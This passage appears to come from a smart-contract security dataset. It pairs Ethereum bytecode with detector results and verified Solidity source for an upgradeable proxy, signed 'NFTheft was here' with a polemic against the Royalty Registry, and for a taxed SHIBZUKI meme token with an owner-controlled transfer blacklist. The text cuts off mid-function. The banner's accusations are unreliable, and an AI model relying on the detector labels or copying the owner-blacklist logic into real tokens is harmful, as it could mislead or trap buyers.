ffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b5c9190611777565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd0906116f7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4090611637565b60405180910390fd5b610c54838383611267565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190611697565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d6d91906117c9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dd19190611777565b60405180910390a3610de484848461126c565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5190611757565b60405180910390fd5b610e6660008383611267565b8060026000828254610e7891906117c9565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ecd91906117c9565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f329190611777565b60405180910390a3610f466000838361126c565b5050565b610f5e8160056108ea90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b610fb881600561127190919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611065906116d7565b60405180910390fd5b61107a82600083611267565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f790611657565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254611157919061181f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111bc9190611777565b60405180910390a36111d08360008461126c565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561121057600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b505050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ab57600080fd5b6112b582826111d5565b6112be57600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008135905061132b81611c6c565b92915050565b60008135905061134081611c83565b92915050565b60006020828403121561135857600080fd5b60006113668482850161131c565b91505092915050565b6000806040838503121561138257600080fd5b60006113908582860161131c565b92505060206113a18582860161131c565b9150509250929050565b6000806000606084860312156113c057600080fd5b60006113ce8682870161131c565b93505060206113df8682870161131c565b92505060406113f086828701611331565b9150509250925092565b6000806040838503121561140d57600080fd5b600061141b8582860161131c565b925050602061142c85828601611331565b9150509250929050565b61143f81611865565b82525050565b6000611450826117ad565b61145a81856117b8565b935061146a8185602086016118a8565b6114738161196b565b840191505092915050565b600061148b6023836117b8565b91506114968261197c565b604082019050919050565b60006114ae6022836117b8565b91506114b9826119cb565b604082019050919050565b60006114d16022836117b8565b91506114dc82611a1a565b604082019050919050565b60006114f46026836117b8565b91506114ff82611a69565b604082019050919050565b60006115176028836117b8565b915061152282611ab8565b604082019050919050565b600061153a6021836117b8565b915061154582611b07565b604082019050919050565b600061155d6025836117b8565b915061156882611b56565b604082019050919050565b60006115806024836117b8565b915061158b82611ba5565b604082019050919050565b60006115a36025836117b8565b91506115ae82611bf4565b604082019050919050565b60006115c6601f836117b8565b91506115d182611c43565b602082019050919050565b6115e581611891565b82525050565b6115f48161189b565b82525050565b600060208201905061160f6000830184611436565b92915050565b6000602082019050818103600083015261162f8184611445565b905092915050565b600060208201905081810360008301526116508161147e565b9050919050565b60006020820190508181036000830152611670816114a1565b9050919050565b60006020820190508181036000830152611690816114c4565b9050919050565b600060208201905081810360008301526116b0816114e7565b9050919050565b600060208201905081810360008301526116d08161150a565b9050919050565b600060208201905081810360008301526116f08161152d565b9050919050565b6000602082019050818103600083015261171081611550565b9050919050565b6000602082019050818103600083015261173081611573565b9050919050565b6000602082019050818103600083015261175081611596565b9050919050565b60006020820190508181036000830152611770816115b9565b9050919050565b600060208201905061178c60008301846115dc565b92915050565b60006020820190506117a760008301846115eb565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117d482611891565b91506117df83611891565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118145761181361190d565b5b828201905092915050565b600061182a82611891565b915061183583611891565b9250828210156118485761184761190d565b5b828203905092915050565b600061185e82611871565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118c65780820151818401526020810190506118ab565b838111156118d5576000848401525b50505050565b600060028204905060018216806118f357607f821691505b602082108114156119075761190661193c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611c7581611853565b8114611c8057600080fd5b50565b611c8c81611891565b8114611c9757600080fd5b5056fea264697066735822122066c1d2e9efa2eeab0c3a1ce4cc416f6f02d0bcdf0fe167e93cdff6affded20d764736f6c63430008040033
{"success": true, "error": null, "results": {}}
1,382
0xc9198cbbb57708cf31e0cabce963c98e60d333c3
/** *Submitted for verification at Etherscan.io on 2021-10-31 */ /* ████████████████████████████████████████ ███████▓█████▓▓╬╬╬╬╬╬╬╬▓███▓╬╬╬╬╬╬╬▓╬╬▓█ ████▓▓▓▓╬╬▓█████╬╬╬╬╬╬███▓╬╬╬╬╬╬╬╬╬╬╬╬╬█ ███▓▓▓▓╬╬╬╬╬╬▓██╬╬╬╬╬╬▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ████▓▓▓╬╬╬╬╬╬╬▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ███▓█▓███████▓▓███▓╬╬╬╬╬╬▓███████▓╬╬╬╬▓█ ████████████████▓█▓╬╬╬╬╬▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬█ ███▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ████▓▓▓▓▓▓▓▓▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ███▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ █████▓▓▓▓▓▓▓▓█▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ █████▓▓▓▓▓▓▓██▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ █████▓▓▓▓▓████▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ ████▓█▓▓▓▓██▓▓▓▓██╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ ████▓▓███▓▓▓▓▓▓▓██▓╬╬╬╬╬╬╬╬╬╬╬╬█▓╬▓╬╬▓██ █████▓███▓▓▓▓▓▓▓▓████▓▓╬╬╬╬╬╬╬█▓╬╬╬╬╬▓██ █████▓▓█▓███▓▓▓████╬▓█▓▓╬╬╬▓▓█▓╬╬╬╬╬╬███ ██████▓██▓███████▓╬╬╬▓▓╬▓▓██▓╬╬╬╬╬╬╬▓███ ███████▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬████ ███████▓▓██▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓████ ████████▓▓▓█████▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█████ █████████▓▓▓█▓▓▓▓▓███▓╬╬╬╬╬╬╬╬╬╬╬▓██████ ██████████▓▓▓█▓▓▓▓▓██╬╬╬╬╬╬╬╬╬╬╬▓███████ ███████████▓▓█▓▓▓▓███▓╬╬╬╬╬╬╬╬╬▓████████ ██████████████▓▓▓███▓▓╬╬╬╬╬╬╬╬██████████ ███████████████▓▓▓██▓▓╬╬╬╬╬╬▓███████████ ████████████████████████████████████████ ███████████ NFTheft was here ███████████ ████████████████████████████████████████ 2b02E63c9C7ed9fDC5fdc73E02Df0F8ee7Cdd3C4 ████████████████████████████████████████ This is a public notice. The Royalty Registry is dangerous. It's a false flag operation orchestrated by Manifold. It gives all the power to Manifold to control your royalties. They can change the payout rate, censor you, take a cut, etc. We don't need your Royalty Registry. You are trying to centralize a decentralised concept. Each smart contract should have it's own royalty logic / control. https://twitter.com/NFTheft/status/1451915003922198529 https://twitter.com/NFTheft/status/1451716332643291136 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Proxy { function _delegate(address implementation) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _implementation() internal view virtual returns (address); function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } fallback () external payable virtual { _fallback(); } receive () external payable virtual { _fallback(); } function _beforeFallback() internal virtual { } } abstract contract ERC1967Upgrade { bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event Upgraded(address indexed implementation); function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); _setImplementation(newImplementation); emit Upgraded(newImplementation); } } function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; event AdminChanged(address previousAdmin, address newAdmin); function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; event BeaconUpgraded(address indexed beacon); function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } function _setBeacon(address newBeacon) private { require( Address.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } interface IBeacon { function implementation() external view returns (address); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ProxyAdmin is Ownable { function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) { (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b"); require(success); return abi.decode(returndata, (address)); } function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) { (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440"); require(success); return abi.decode(returndata, (address)); } function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner { proxy.changeAdmin(newAdmin); } function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner { proxy.upgradeTo(implementation); } function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner { proxy.upgradeToAndCall{value: msg.value}(implementation, data); } } abstract contract UUPSUpgradeable is ERC1967Upgrade { function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } function _authorizeUpgrade(address newImplementation) internal virtual; } abstract contract Proxiable is UUPSUpgradeable { function _authorizeUpgrade(address newImplementation) internal override { _beforeUpgrade(newImplementation); } function _beforeUpgrade(address newImplementation) internal virtual; } contract ChildOfProxiable is Proxiable { function _beforeUpgrade(address newImplementation) internal virtual override {} } contract ERC1967Proxy is Proxy, ERC1967Upgrade { constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } contract TransparentUpgradeableProxy is ERC1967Proxy { constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } function _admin() internal view virtual returns (address) { return _getAdmin(); } function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } contract AdminUpgradeabilityProxy is TransparentUpgradeableProxy { constructor(address logic, address admin, bytes memory data) payable TransparentUpgradeableProxy(logic, admin, data) {} }
0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead146101645761007b565b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610515565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee366004610554565b610292565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461058c565b61031c565b34801561013057600080fd5b506100d161013f366004610554565b6103ad565b34801561015057600080fd5b506100d161015f366004610515565b610405565b34801561017057600080fd5b506100a061017f366004610515565b6104ef565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d9190610538565b949350505050565b6000546001600160a01b031633146102485760405162461bcd60e51b815260040161023f906106c0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146102bc5760405162461bcd60e51b815260040161023f906106c0565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561030057600080fd5b505af1158015610314573d6000803e3d6000fd5b505050505050565b6000546001600160a01b031633146103465760405162461bcd60e51b815260040161023f906106c0565b60405163278f794360e11b81526001600160a01b03841690634f1ef286903490610376908690869060040161065d565b6000604051808303818588803b15801561038f57600080fd5b505af11580156103a3573d6000803e3d6000fd5b5050505050505050565b6000546001600160a01b031633146103d75760405162461bcd60e51b815260040161023f906106c0565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe6906024016102e6565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260040161023f906106c0565b6001600160a01b0381166104945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161023f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b600060208284031215610526578081fd5b81356105318161070b565b9392505050565b600060208284031215610549578081fd5b81516105318161070b565b60008060408385031215610566578081fd5b82356105718161070b565b915060208301356105818161070b565b809150509250929050565b6000806000606084860312156105a0578081fd5b83356105ab8161070b565b925060208401356105bb8161070b565b9150604084013567ffffffffffffffff808211156105d7578283fd5b818601915086601f8301126105ea578283fd5b8135818111156105fc576105fc6106f5565b604051601f8201601f19908116603f01168101908382118183101715610624576106246106f5565b8160405282815289602084870101111561063c578586fd5b82602086016020830137856020848301015280955050505050509250925092565b600060018060a01b038416825260206040818401528351806040850152825b818110156106985785810183015185820160600152820161067c565b818111156106a95783606083870101525b50601f01601f191692909201606001949350505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461072057600080fd5b5056fea2646970667358221220d849f96f3086b9f82cdcf665adb8c697ace05638da1c7c16ab2d26293717af6764736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,383
0x8bdda765585be77a1eecfb5a6ed58a80baea1919
/* $SHIBZUKI The Master Ninja Socials - Telagram: https://t.me/shibzukientry Website: https://shibzukitoken.com/ Twitter: https://twitter.com/Shibzuki */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract shibzukierc is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "SHIBZUKI"; string private constant _symbol = "SHIBZUKI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xB6040dCB07FD0A5dd70B3e573c83115666Ad3aA6); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { 